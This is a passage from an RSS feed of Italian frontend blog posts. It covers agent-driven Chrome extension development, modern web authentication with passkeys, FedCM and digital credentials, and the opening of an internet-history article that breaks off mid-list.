&lt;p&gt;Un dettaglio importante: spesso le capability per lavorare con estensioni non sono attive “out of the box” per motivi di contesto. Tipicamente bisogna &lt;strong&gt;abilitare la categoria di tool dedicata alle estensioni&lt;/strong&gt; e, se vuoi testare su un Chrome già in uso (e non su un profilo isolato), &lt;strong&gt;abilitare l’auto-connection&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  3) Remote debugging in Chrome
&lt;/h3&gt;

&lt;p&gt;Per collegare un agente a un’istanza di Chrome reale, devi abilitare esplicitamente il &lt;strong&gt;remote debugging&lt;/strong&gt; per quell’istanza. È una protezione sensata: dare controllo del browser a un processo esterno è una capability potente.&lt;/p&gt;




&lt;h2&gt;
  
  
  Dal “Hello World” a un’estensione utile (e testata davvero)
&lt;/h2&gt;

&lt;p&gt;Un modo sano di partire è sempre un’estensione banale—tipo un popup con “Hello World”—solo per verificare:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;manifest corretto&lt;/li&gt;
&lt;li&gt;estensione installabile&lt;/li&gt;
&lt;li&gt;azione/popup funzionante&lt;/li&gt;
&lt;li&gt;ciclo edit → reload → test&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;La svolta, però, arriva quando il test non è “mi fido”: l’agente può realmente:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;installare l’estensione&lt;/li&gt;
&lt;li&gt;aprire il popup&lt;/li&gt;
&lt;li&gt;fare screenshot e controlli&lt;/li&gt;
&lt;li&gt;ripetere il flusso come farebbe un utente&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Questo riduce drasticamente il tempo perso in “funziona sul mio computer… ma non nel browser”.&lt;/p&gt;




&lt;h2&gt;
  
  
  Un esempio concreto: autocompletion per inserire link alle tab aperte
&lt;/h2&gt;

&lt;p&gt;Un’idea piccola ma ad alto ROI:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Quando digiti &lt;code&gt;!!&lt;/code&gt; + Tab&lt;/strong&gt; dentro un qualsiasi campo di testo (input, textarea, contenteditable), compare un’autocompletion con l’elenco delle tab aperte. Se ne selezioni una, viene inserito il link.&lt;/p&gt;

&lt;p&gt;Perché è utile? Quando scrivi email, issue, documentazione o chat, spesso il link che vuoi incollare è &lt;em&gt;già aperto da qualche parte&lt;/em&gt;. Invece di:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;trovare la tab&lt;/li&gt;
&lt;li&gt;copiare l’URL&lt;/li&gt;
&lt;li&gt;tornare indietro&lt;/li&gt;
&lt;li&gt;incollare&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;…puoi inserirlo direttamente nel punto in cui stai scrivendo.&lt;/p&gt;

&lt;h3&gt;
  
  
  Variante “pro”: Markdown link con scorciatoia
&lt;/h3&gt;

&lt;p&gt;Un miglioramento semplice ma intelligente:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;selezione tab → inserisce URL&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Shift+Enter&lt;/strong&gt; → inserisce un link Markdown usando &lt;strong&gt;il titolo della tab come anchor text&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;E qui emerge un pattern importante: il valore di un agente non è solo generare codice, ma &lt;strong&gt;iterare velocemente su requisiti&lt;/strong&gt; con una fase di “piano” revisionabile (manifest, permessi &lt;code&gt;tabs&lt;/code&gt;, UI, test cases, ecc.).&lt;/p&gt;

&lt;h3&gt;
  
  
  Test robusti: tre casi che contano davvero
&lt;/h3&gt;

&lt;p&gt;Per un’estensione che interagisce con campi di testo, i casi principali sono:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;input&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;textarea&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;elementi &lt;code&gt;contenteditable&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Avere un test automatico che copre tutti e tre evita bug fastidiosi “funziona in A ma non in B”.&lt;/p&gt;




&lt;h2&gt;
  
  
  Prepararla per la pubblicazione sul Chrome Web Store
&lt;/h2&gt;

&lt;p&gt;Quando un prototipo funziona, il passaggio “adulto” è renderlo pubblicabile. In genere significa applicare una checklist di conformità che include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;manifest e permessi minimizzati&lt;/li&gt;
&lt;li&gt;asset corretti (icone coerenti per dimensione e nome file)&lt;/li&gt;
&lt;li&gt;descrizione, versioning, e packaging pulito&lt;/li&gt;
&lt;li&gt;controlli base su UX e policy&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Un aspetto sorprendentemente spinoso, anche per tool automatici, sono proprio &lt;strong&gt;le icone&lt;/strong&gt;: spesso vengono generate con nomi non coerenti col manifest o con stili diversi tra risoluzioni. Per questo conviene avere linee guida esplicite nel workflow.&lt;/p&gt;




&lt;h2&gt;
  
  
  Sintesi: perché questo workflow cambia le regole del gioco
&lt;/h2&gt;

&lt;p&gt;Quando un agente può scrivere codice &lt;em&gt;e&lt;/em&gt; pilotare DevTools per installare e testare l’estensione, il tuo ciclo di lavoro diventa:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;idea → prompt → implementazione → installazione → test reale → iterazione → packaging&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Il risultato pratico è che diventa realistico costruire estensioni non solo come “progetti”, ma come strumenti personali: piccoli, mirati, capaci di eliminare frizioni quotidiane nel browser.&lt;/p&gt;

&lt;p&gt;La conseguenza più interessante per chi fa frontend è che l’estensione torna ad essere un “pezzo di prodotto” accessibile: non un mondo a parte, ma un’estensione naturale del tuo modo di lavorare sul web.&lt;/p&gt;




&lt;p&gt;Articolo originale: &lt;a href="https://frontendfacile.it/blog/automatizzare-lo-sviluppo-di-estensioni-chrome-con-agenti-di-coding-e-devtools-m" rel="noopener noreferrer"&gt;https://frontendfacile.it/blog/automatizzare-lo-sviluppo-di-estensioni-chrome-con-agenti-di-coding-e-devtools-m&lt;/a&gt;&lt;/p&gt;

</description>
      <category>estensionichrome</category>
      <category>mcpdevtools</category>
      <category>manifestv3</category>
      <category>automationtesting</category>
    </item>
    <item>
      <title>Autenticazione nel 2026: passkey, credenziali digitali e flussi “senza attrito” per il Web</title>
      <dc:creator>frontendfacile.it</dc:creator>
      <pubDate>Fri, 03 Jul 2026 09:09:33 +0000</pubDate>
      <link>https://dev.to/frontendfacile/autenticazione-nel-2026-passkey-credenziali-digitali-e-flussi-senza-attrito-per-il-web-l3o</link>
      <guid>https://dev.to/frontendfacile/autenticazione-nel-2026-passkey-credenziali-digitali-e-flussi-senza-attrito-per-il-web-l3o</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Dalla creazione account al recovery: come progettare un lifecycle moderno, più veloce e (molto) più resistente al phishing.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  L’autenticazione come “primo impatto” (e come collo di bottiglia)
&lt;/h2&gt;

&lt;p&gt;Nel 2026 l’autenticazione continua a essere una delle parti più delicate di qualunque prodotto: è il varco d’ingresso al tuo servizio e spesso il primo contatto reale con la UX. Se l’utente atterra su una form lunga, piena di campi obbligatori e frizioni inutili, il rimbalzo è dietro l’angolo.&lt;/p&gt;

&lt;p&gt;Il problema non è solo l’abbandono: i metodi legacy (password + OTP via email/SMS, verifiche manuali, ecc.) aumentano anche i rischi di phishing e furto d’identità. La buona notizia è che oggi esiste un set di primitive e pattern che permette di &lt;strong&gt;ridurre drasticamente la frizione&lt;/strong&gt; e &lt;strong&gt;alzare il livello di sicurezza&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Un modo utile per ragionarci è guardare l’intero &lt;strong&gt;ciclo di vita dell’account&lt;/strong&gt;:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Creazione account&lt;/li&gt;
&lt;li&gt;Verifica attributi (email, età, nome legale…)&lt;/li&gt;
&lt;li&gt;Sign-in ricorrente&lt;/li&gt;
&lt;li&gt;Recupero account&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In ogni fase puoi “innestare” tecnologie moderne (federazione, passkey, autofill evoluto, verifica email mediata dal browser, credenziali digitali) senza dover riscrivere tutto da zero.&lt;/p&gt;




&lt;h2&gt;
  
  
  1) Creazione account: meno campi, più identità riusabile
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Federated identity: evitare la form quando non serve
&lt;/h3&gt;

&lt;p&gt;Se puoi, &lt;strong&gt;parti dalla federazione&lt;/strong&gt;: l’utente crea l’account sul tuo sito usando un provider (Google o altri IdP). Il vantaggio è triplo:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Zero data-entry ripetitivo&lt;/strong&gt;: email, nome e altre info base esistono già.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Verifiche già fatte&lt;/strong&gt;: spesso l’IdP ha già verificato contatti e accesso.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Conversione migliore&lt;/strong&gt;: un click batte qualsiasi form.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Pattern consigliato: “federate then upgrade”
&lt;/h3&gt;

&lt;p&gt;Un approccio pragmatico è:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Creare l’account in un click&lt;/strong&gt; con login federato.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Subito dopo&lt;/strong&gt; proporre la creazione di una &lt;strong&gt;passkey sul dispositivo&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Così ottieni l’onboarding più semplice possibile oggi, ma sposti l’utente verso un sign-in futuro più veloce e resistente al phishing.&lt;/p&gt;

&lt;h3&gt;
  
  
  Se sei un Identity Provider: FedCM
&lt;/h3&gt;

&lt;p&gt;Per chi gestisce un IdP, vale la pena supportare &lt;strong&gt;FedCM (Federated Credential Management API)&lt;/strong&gt;: abilita un’esperienza “one tap” mediata dal browser con un’attenzione più forte alla privacy rispetto ai pattern storici.&lt;/p&gt;




&lt;h2&gt;
  
  
  2) Se la form è inevitabile: rendi l’autofill un cittadino di prima classe
&lt;/h2&gt;

&lt;p&gt;A volte la registrazione tramite form è necessaria (modello business, requisiti interni, mercati specifici). In quel caso, la UX può comunque migliorare molto se &lt;strong&gt;aiuti il browser&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Checklist frontend:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Usa &lt;code&gt;name&lt;/code&gt; e &lt;code&gt;id&lt;/code&gt; descrittivi&lt;/li&gt;
&lt;li&gt;Imposta &lt;code&gt;autocomplete&lt;/code&gt; corretti (&lt;code&gt;email&lt;/code&gt;, &lt;code&gt;new-password&lt;/code&gt;, ecc.)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;L’autofill non è più “solo comodità”: è diventato una base per funzionalità più evolute (come la verifica email senza inbox e l’accesso alle passkey dalla UI di autofill).&lt;/p&gt;




&lt;h2&gt;
  
  
  3) Verifica email senza “controlla la posta”: Email Verification Protocol
&lt;/h2&gt;

&lt;p&gt;L’email resta un identificatore centrale (billing, comunicazioni, recovery). Accettare email non valide significa:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;onboarding che fallisce “in silenzio”&lt;/li&gt;
&lt;li&gt;bounce rate alta (e reputazione del mittente che peggiora)&lt;/li&gt;
&lt;li&gt;costi email più alti&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Il problema dei classici OTP/magic link è il &lt;strong&gt;context switch&lt;/strong&gt;: l’utente deve uscire dal flusso, aprire la inbox, aspettare la consegna, copiare/incollare o cliccare. È un killer di conversione. Inoltre, gli OTP rimangono attaccabili tramite phishing, e i magic link spesso si aprono in in-app browser diversi dal contesto originale (con confusione e abbandoni, soprattutto in checkout).&lt;/p&gt;

&lt;h3&gt;
  
  
  L’idea: ottenere una email verificata senza inviare email
&lt;/h3&gt;

&lt;p&gt;Il &lt;strong&gt;Email Verification Protocol&lt;/strong&gt; punta a eliminare completamente l’invio del messaggio: la verifica diventa &lt;strong&gt;mediata dal browser&lt;/strong&gt; tramite un meccanismo “a tre attori” (provider email, issuer specializzato, browser).&lt;/p&gt;

&lt;p&gt;Dal punto di vista dell’integrazione, l’approccio è dichiarativo: annoti la form in modo che il browser possa orchestrare lo scambio.&lt;/p&gt;

&lt;p&gt;In pratica:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;input email con &lt;code&gt;autocomplete="email"&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;un input hidden per ricevere un &lt;strong&gt;token di verifica email&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;token legato a parametri anti-intercettazione (es. &lt;code&gt;nonce&lt;/code&gt; fresco)&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;Nota: essendo una tecnologia in evoluzione, è importante prevedere che la forma esatta dell’API possa cambiare: conviene incapsulare l’integrazione e mantenere un fallback robusto.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  4) Verifica attributi “sensibili”: Digital Credentials API
&lt;/h2&gt;

&lt;p&gt;Non sempre devi verificare solo un contatto. In alcuni settori e paesi serve verificare:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;età (eligibility)&lt;/li&gt;
&lt;li&gt;nome legale&lt;/li&gt;
&lt;li&gt;altri attributi regolamentati&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Qui entrano in gioco le &lt;strong&gt;credenziali verificabili&lt;/strong&gt; tramite &lt;strong&gt;Digital Credentials API&lt;/strong&gt;, che permette di richiedere prove da un wallet compatibile sul dispositivo dell’utente.&lt;/p&gt;

&lt;h3&gt;
  
  
  Il modello a tre parti
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Issuer&lt;/strong&gt;: chi emette e firma crittograficamente la credenziale (es. ente che rilascia una patente)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Holder&lt;/strong&gt;: l’utente, che conserva la credenziale nel wallet&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Verifier&lt;/strong&gt;: il tuo sito/app che chiede una prova&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Il browser media la richiesta e l’OS coordina l’interazione con i wallet installati. L’utente vede chiaramente &lt;strong&gt;quali dati sta condividendo&lt;/strong&gt;, e tu ricevi solo ciò che è stato autorizzato. Poi puoi verificarne l’autenticità secondo i trust anchor che scegli.&lt;/p&gt;

&lt;p&gt;Aspetto interessante: non è limitato ai documenti governativi. Man mano che l’ecosistema matura, la stessa infrastruttura può trasportare varie forme di credenziali verificabili (certificati, titoli di viaggio, ecc.), a patto di avere issuer e wallet compatibili.&lt;/p&gt;




&lt;h2&gt;
  
  
  5) Sign-in ricorrente: passkey come default, fallback intelligente
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Perché puntare sulle passkey
&lt;/h3&gt;

&lt;p&gt;Le &lt;strong&gt;passkey&lt;/strong&gt; sono una alternativa più semplice e più sicura a password e OTP, con forte resistenza al phishing. Il punto non è “seguire una moda”: è ridurre errori, reset password e abbandoni.&lt;/p&gt;

&lt;h3&gt;
  
  
  UI unificata e selezione “smart” delle credenziali
&lt;/h3&gt;

&lt;p&gt;Un trend chiave è l’adozione di UI di login &lt;strong&gt;mediate dal browser&lt;/strong&gt; che presentano in modo pulito le credenziali salvate (passkey e/o password) e riducono i passaggi.&lt;/p&gt;

&lt;p&gt;Quando l’utente clicca un’azione che implica un’intenzione di login (es. aprire “I miei ordini”), il browser può proporre immediatamente la credenziale migliore disponibile. Se non ci sono credenziali, il sito gestisce il fallback portando l’utente al login tradizionale.&lt;/p&gt;

&lt;h3&gt;
  
  
  Best practice: form unica che supporta password + passkey
&lt;/h3&gt;

&lt;p&gt;La transizione reale richiede compatibilità:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;utenti che non hanno ancora passkey&lt;/li&gt;
&lt;li&gt;browser/ambienti che non supportano tutte le nuove UI&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Per questo conviene mantenere una &lt;strong&gt;pagina di login classica&lt;/strong&gt; dove l’autofill suggerisce &lt;strong&gt;sia password che passkey&lt;/strong&gt; quando l’utente entra nel campo username/email. È un modo molto efficace per offrire subito il percorso “migliore” a chi è pronto, senza spezzare l’esperienza degli altri.&lt;/p&gt;




&lt;h2&gt;
  
  
  6) Quando creare una passkey: timing e sicurezza
&lt;/h2&gt;

&lt;p&gt;Tre strategie pratiche:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Durante o subito dopo la registrazione&lt;/strong&gt;: l’utente è già nel flusso mentale giusto.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Solo dopo un segnale forte di autenticità&lt;/strong&gt;: prima verifica che l’utente sia davvero chi dice di essere (ad esempio validando l’email o usando un provider affidabile), così riduci il rischio che un attaccante crei credenziali su account compromessi.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Migrazione degli utenti esistenti&lt;/strong&gt; con creazione “assistita”: dove possibile, sfrutta meccanismi di creazione che minimizzano prompt e passaggi extra, aumentando l’adozione senza campagne invasive.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Anche una semplice schermata di “security confirmation” che spiega i vantaggi può incrementare la conversione: spesso la barriera è più educativa che tecnica.&lt;/p&gt;




&lt;h2&gt;
  
  
  Sintesi: progettare un lifecycle moderno (non un singolo form)
&lt;/h2&gt;

&lt;p&gt;L’autenticazione efficace nel 2026 non è una scelta binaria “password sì/no”: è una &lt;strong&gt;composizione di tecnologie&lt;/strong&gt; lungo il ciclo di vita dell’account.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Onboarding&lt;/strong&gt;: federazione quando possibile; altrimenti autofill curato.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Verifica&lt;/strong&gt;: ridurre il context switch (email verificata via browser) e usare credenziali digitali per attributi regolamentati.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sign-in&lt;/strong&gt;: passkey come percorso preferito, con UI unificata e fallback in form.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Adozione&lt;/strong&gt;: chiedere passkey nel momento giusto, con messaggi chiari e passaggi minimi.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;L’implicazione pratica è semplice: se vuoi più conversione e meno supporto (reset, OTP non ricevuti, account compromessi), smetti di trattare l’autenticazione come un componente isolato e inizia a progettarla come un &lt;strong&gt;percorso end-to-end&lt;/strong&gt;, dove il browser diventa un alleato attivo di UX e sicurezza.&lt;/p&gt;




&lt;p&gt;Articolo originale: &lt;a href="https://frontendfacile.it/blog/autenticazione-nel-2026-passkey-credenziali-digitali-e-flussi-senza-attrito-per-" rel="noopener noreferrer"&gt;https://frontendfacile.it/blog/autenticazione-nel-2026-passkey-credenziali-digitali-e-flussi-senza-attrito-per-&lt;/a&gt;&lt;/p&gt;

</description>
      <category>passkey</category>
      <category>fedcm</category>
      <category>autofill</category>
      <category>verificaemail</category>
    </item>
    <item>
      <title>Una storia (strana) di Internet: perché funziona davvero e cosa insegna a chi fa frontend</title>
      <dc:creator>frontendfacile.it</dc:creator>
      <pubDate>Thu, 02 Jul 2026 09:20:02 +0000</pubDate>
      <link>https://dev.to/frontendfacile/una-storia-strana-di-internet-perche-funziona-davvero-e-cosa-insegna-a-chi-fa-frontend-5g55</link>
      <guid>https://dev.to/frontendfacile/una-storia-strana-di-internet-perche-funziona-davvero-e-cosa-insegna-a-chi-fa-frontend-5g55</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Dallo “sneakernet” ai pacchetti, dal Web blu sottolineato alle web app: una linea del tempo utile per capire le scelte tecniche di oggi.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Internet è pieno di paradossi: nasce per sopravvivere a guasti catastrofici, ma oggi può essere messo in ginocchio da un banner di consenso cookie che blocca il rendering. Ripercorrere alcune tappe chiave della sua evoluzione aiuta a capire &lt;em&gt;perché&lt;/em&gt; certe cose sono fatte in un modo e non in un altro—e perché, lato frontend, performance e resilienza non sono optional ma conseguenze dirette del design originale della rete.&lt;/p&gt;

&lt;h2&gt;
  
  
  Prima della rete: quando “trasferire dati” significava guidare
&lt;/h2&gt;

&lt;p&gt;Per molto tempo i computer sono stati isole. Se volevi spostare dati da una macchina all’altra, spesso lo facevi con supporti fisici: nastri magnetici, floppy, dischi. Era il cosiddetto &lt;strong&gt;“sneakernet”&lt;/strong&gt;: la rete più veloce era letteralmente una persona che camminava (o guidava) portando il dato in tasca.&lt;/p&gt;

&lt;p&gt;Sembra preistoria, ma fissa un punto importante: &lt;strong&gt;comunicare è più difficile che calcolare&lt;/strong&gt;. Ed è la comunicazione—non la potenza di calcolo—ad aver determinato le architetture che usiamo ancora.&lt;/p&gt;

&lt;h2&gt;
  
  
  Circuit switching vs packet switching: l’idea che ha reso possibile Internet
&lt;/h2&gt;

&lt;p&gt;Le reti telefoniche tradizionali funzionavano (e in parte funzionano) con &lt;strong&gt;circuit switching&lt;/strong&gt;: due estremi “prenotano” un canale dedicato end-to-end per tutta la durata della conversazione. Se un collegamento nella catena si rompe, la comunicazione cade.&lt;/p&gt;

&lt;p&gt;Per una rete che deve rimanere operativa anche in condizioni difficili, questo modello è fragile. La svolta concettuale è stata il &lt;strong&gt;packet switching&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;il messaggio viene &lt;strong&gt;spezzato in pacchetti&lt;/strong&gt;;&lt;/li&gt;
&lt;li&gt;ogni pacchetto porta un &lt;strong&gt;indirizzo di destinazione&lt;/strong&gt;;&lt;/li&gt;
&lt;li&gt;i pacchetti possono attraversare la rete &lt;strong&gt;seguendo percorsi diversi&lt;/strong&gt;;&lt;/li&gt;
&lt;li&gt;a destinazione vengono &lt;strong&gt;riordinati e ricomposti&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Questo approccio è incredibilmente moderno: è &lt;em&gt;tollerante ai guasti&lt;/em&gt;, scala bene, e soprattutto non richiede che la rete sia perfetta. Richiede invece che gli endpoint e i protocolli gestiscano la complessità.&lt;/p&gt;

&lt;p&gt;Per chi fa frontend, qui c’è un’analogia utile: &lt;strong&gt;il Web non è una chiamata “in tempo reale” dedicata&lt;/strong&gt;. È una successione di richieste, ritardi, retry, cache, perdita di pacchetti, riconnessioni. La UX deve convivere con l’inaffidabilità di base.&lt;/p&gt;

&lt;h2&gt;
  
  
  TCP/IP: il momento in cui le reti smettono di essere “solitarie”
&lt;/h2&gt;

&lt;p&gt;Avere una rete funzionante non basta se resta un ecosistema chiuso. La vera nascita di Internet avviene quando emerge un linguaggio comune per far parlare reti diverse: &lt;strong&gt;TCP/IP&lt;/strong&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;IP&lt;/strong&gt; si occupa dell’&lt;strong&gt;indirizzamento&lt;/strong&gt;: ogni macchina (o più spesso ogni interfaccia) ha un numero, e i pacchetti sanno dove andare.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;TCP&lt;/strong&gt; gestisce l’&lt;strong&gt;affidabilità&lt;/strong&gt;: spezza i dati, li numera, ritrasmette se mancano, garantisce l’ordine.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Questa divisione dei compiti è uno dei motivi per cui il Web può essere “best effort” e comunque usabile: l’affidabilità non è nella rete, è nello stack.&lt;/p&gt;

&lt;h2&gt;
  
  
  DNS: l’usabilità che sblocca la rete
&lt;/h2&gt;

&lt;p&gt;Gli indirizzi numerici sono ottimi per le macchine e pessimi per gli umani. Il &lt;strong&gt;Domain Name System&lt;/strong&gt; risolve il problema trasformando nomi leggibili (es. &lt;code&gt;example.com&lt;/code&gt;) in indirizzi IP.&lt;/p&gt;

&lt;p&gt;Per il frontend, DNS è spesso “invisibile” finché non diventa un collo di bottiglia. Ma impatta:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;TTFB&lt;/strong&gt; (risoluzione DNS + handshake + risposta)&lt;/li&gt;
&lt;li&gt;strategie di &lt;strong&gt;preconnect / dns-prefetch&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;architetture multi-dominio (CDN, asset separati, third-party)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Quando una pagina sembra lenta “prima ancora di iniziare”, a volte non è JavaScript: è la catena di risoluzione e connessione.&lt;/p&gt;

&lt;h2&gt;
  
  
  Il Web: HTML, HTTP, URL e l’idea di collegare informazioni
&lt;/h2&gt;

&lt;p&gt;Internet è l’infrastruttura. Il &lt;strong&gt;World Wide Web&lt;/strong&gt; è l’applicazione che rende quell’infrastruttura navigabile e collegabile.&lt;/p&gt;

&lt;p&gt;Tre invenzioni (più una) fissano ancora oggi le basi del nostro lavoro:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;URL&lt;/strong&gt;: un identificatore universale per una risorsa.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;HTTP&lt;/strong&gt;: un protocollo semplice richiesta/risposta.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;HTML&lt;/strong&gt;: un formato ipertestuale.&lt;/li&gt;
&lt;li&gt;(e poi il browser, che mette tutto insieme)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;L’idea potente non è “mostrare documenti”, ma &lt;strong&gt;linkare risorse&lt;/strong&gt; in modo uniforme. Il link è l’unità fondamentale: ha costruito navigazione, discovery, SEO, e perfino modelli economici.&lt;/p&gt;

&lt;h2&gt;
  
  
  Il browser diventa il campo di battaglia (e noi paghiamo il prezzo in compatibilità)
&lt;/h2&gt;

&lt;p&gt;Quando il Web diventa mainstream, il browser smette di essere un semplice visualizzatore: diventa la piattaforma più distribuita del pianeta.&lt;/p&gt;

&lt;p&gt;Da lì nasce una dinamica che chi fa frontend conosce bene:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;competizione → feature introdotte velocemente;&lt;/li&gt;
&lt;li&gt;bundling e dominanza di un player → standardizzazione “de facto”; &lt;/li&gt;
&lt;li&gt;reazione della comunità → spinta su open source e interoperabilità.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;La lezione pratica: &lt;strong&gt;i vincoli di compatibilità non sono un incidente&lt;/strong&gt;, sono una conseguenza naturale di una piattaforma installata ovunque. E spiegano perché ancora oggi esistono polyfill, progressive enhancement, e una certa cautela nell’adottare novità senza guardare la diffusione.&lt;/p&gt;

&lt;h2&gt;
  
  
  Dial-up e latenza: l’UX è sempre stata una lotta contro il tempo
&lt;/h2&gt;

&lt;p&gt;Prima della banda larga, l’accesso domestico avveniva via modem su linee telefoniche analogiche. Velocità ridotte, latenza alta, connessioni instabili. E un problema molto umano: se qualcuno alzava la cornetta, la sessione poteva saltare.&lt;/p&gt;

&lt;p&gt;Per noi è un promemoria: anche se oggi abbiamo fibra e 5G, &lt;strong&gt;la rete del tuo utente è spesso peggiore di quanto immagini&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;congestione mobile&lt;/li&gt;
&lt;li&gt;Wi‑Fi rumoroso&lt;/li&gt;
&lt;li&gt;power saving aggressivo&lt;/li&gt;
&lt;li&gt;captive portal&lt;/li&gt;
&lt;li&gt;DNS lenti&lt;/li&gt;
&lt;li&gt;proxy aziendali&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ottimizzare caricamento e resilienza resta parte del mestiere.&lt;/p&gt;

&lt;h2&gt;
  
  
  Dot-com: quando l’infrastruttura corre più veloce dell’uso reale
&lt;/h2&gt;

&lt;p&gt;A fine anni ’90 molte aziende investono enormemente in infrastrutture e promesse. Non tutte avevano un modello sostenibile e la bolla scoppia.&lt;/p&gt;

&lt;p&gt;Nel medio periodo, però, resta un effetto positivo: &lt;strong&gt;capacità e backbone aumentano&lt;/strong&gt;. È un pattern ricorrente: euforia → eccesso → correzione → infrastruttura che rimane e abilita la fase successiva.&lt;/p&gt;

&lt;h2&gt;
  
  
  Web 2.0 e Ajax: la pagina smette di “ricaricarsi”
&lt;/h2&gt;

&lt;p&gt;La svolta per l’esperienza utente arriva quando il browser può aggiornare parti della UI senza ricaricare tutto il documento. Con &lt;strong&gt;Ajax&lt;/strong&gt; (e l’uso di &lt;code&gt;XMLHttpRequest&lt;/code&gt;, poi evoluto in &lt;code&gt;fetch&lt;/code&gt;) si apre la porta a interfacce più simili ad applicazioni.&lt;/p&gt;

&lt;p&gt;Da qui discendono molte scelte del frontend moderno:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;SPA e routing client-side&lt;/li&gt;
&lt;li&gt;component model&lt;/li&gt;
&lt;li&gt;stato lato client&lt;/li&gt;
&lt;li&gt;chiamate API come flusso principale&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Ma anche i costi:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;bundle JavaScript pesanti&lt;/li&gt;
&lt;li&gt;hydration e complessità di runtime&lt;/li&gt;
&lt;li&gt;dipendenza da endpoint e caching più difficile&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Il punto non è “Ajax = bene” o “SPA = male”: è che ogni salto di interattività sposta il lavoro dal server al client, e quindi &lt;strong&gt;sposta anche la responsabilità delle performance&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Mobile e browser “sempre connesso”: Internet entra in tasca
&lt;/h2&gt;

&lt;p&gt;Con lo smartphone moderno arriva un browser vero, sempre collegato. Cambiano i comportamenti:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;sessioni più brevi e frammentate&lt;/li&gt;
